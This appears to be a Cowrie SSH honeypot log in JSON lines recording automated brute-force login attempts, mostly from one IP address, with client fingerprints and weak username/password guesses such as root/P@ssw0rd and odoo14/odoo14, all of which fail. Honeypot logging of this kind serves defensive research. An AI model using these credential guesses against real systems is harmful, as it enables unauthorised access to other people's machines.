{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:57.480042Z","src_ip":"92.207.4.157","session":"8dedac3b5ccb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:57.613282Z","src_ip":"192.109.200.78","session":"b14c0ddaa55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:57.641901Z","src_ip":"192.109.200.78","session":"b14c0ddaa55b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:57.946803Z","src_ip":"192.109.200.78","session":"b14c0ddaa55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:59.029658Z","src_ip":"192.109.200.78","session":"b14c0ddaa55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44796,"dst_ip":"10.17.0.5","dst_port":22,"session":"939ebdd83a03","protocol":"ssh","message":"New connection: 192.109.200.78:44796 (10.17.0.5:22) [session: 939ebdd83a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:01.016365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:01.020906Z","src_ip":"192.109.200.78","session":"939ebdd83a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:01.109843Z","src_ip":"192.109.200.78","session":"939ebdd83a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:01.358647Z","src_ip":"192.109.200.78","session":"939ebdd83a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:02.563938Z","src_ip":"192.109.200.78","session":"939ebdd83a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42990,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2964e42048","protocol":"ssh","message":"New connection: 192.109.200.78:42990 (10.17.0.5:22) [session: 9d2964e42048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:04.414784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:04.418818Z","src_ip":"192.109.200.78","session":"9d2964e42048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:04.500225Z","src_ip":"192.109.200.78","session":"9d2964e42048","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:04.745652Z","src_ip":"192.109.200.78","session":"9d2964e42048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.21726179122925,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:05.821909Z","src_ip":"172.81.62.90","session":"bc9de9babc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:05.833522Z","src_ip":"192.109.200.78","session":"9d2964e42048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa189e7ec667","protocol":"ssh","message":"New connection: 192.109.200.78:42998 (10.17.0.5:22) [session: fa189e7ec667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:08.012422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:08.017458Z","src_ip":"192.109.200.78","session":"fa189e7ec667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:08.098515Z","src_ip":"192.109.200.78","session":"fa189e7ec667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:08.346156Z","src_ip":"192.109.200.78","session":"fa189e7ec667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:09.431680Z","src_ip":"192.109.200.78","session":"fa189e7ec667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43008,"dst_ip":"10.17.0.5","dst_port":22,"session":"85562df0f8cf","protocol":"ssh","message":"New connection: 192.109.200.78:43008 (10.17.0.5:22) [session: 85562df0f8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:11.367142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:11.371088Z","src_ip":"192.109.200.78","session":"85562df0f8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:11.455081Z","src_ip":"192.109.200.78","session":"85562df0f8cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:11.698227Z","src_ip":"192.109.200.78","session":"85562df0f8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:12.780678Z","src_ip":"192.109.200.78","session":"85562df0f8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57814,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18c7b064bc2","protocol":"ssh","message":"New connection: 192.109.200.78:57814 (10.17.0.5:22) [session: b18c7b064bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:14.745667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:14.858112Z","src_ip":"192.109.200.78","session":"b18c7b064bc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:14.864121Z","src_ip":"192.109.200.78","session":"b18c7b064bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:15.277774Z","src_ip":"192.109.200.78","session":"b18c7b064bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:16.361165Z","src_ip":"192.109.200.78","session":"b18c7b064bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57822,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe3c3cc7729","protocol":"ssh","message":"New connection: 192.109.200.78:57822 (10.17.0.5:22) [session: 3fe3c3cc7729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:18.324772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:18.328494Z","src_ip":"192.109.200.78","session":"3fe3c3cc7729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:18.414987Z","src_ip":"192.109.200.78","session":"3fe3c3cc7729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345","message":"login attempt [server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:18.657999Z","src_ip":"192.109.200.78","session":"3fe3c3cc7729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:19.741878Z","src_ip":"192.109.200.78","session":"3fe3c3cc7729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57828,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd209643d77","protocol":"ssh","message":"New connection: 192.109.200.78:57828 (10.17.0.5:22) [session: 6fd209643d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:21.772138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:21.778476Z","src_ip":"192.109.200.78","session":"6fd209643d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:21.858852Z","src_ip":"192.109.200.78","session":"6fd209643d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:22.101869Z","src_ip":"192.109.200.78","session":"6fd209643d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:23.185423Z","src_ip":"192.109.200.78","session":"6fd209643d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40070,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9e2f1c04cf","protocol":"ssh","message":"New connection: 192.109.200.78:40070 (10.17.0.5:22) [session: 1a9e2f1c04cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:25.040416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:25.179075Z","src_ip":"192.109.200.78","session":"1a9e2f1c04cf","protocol":"ssh"}
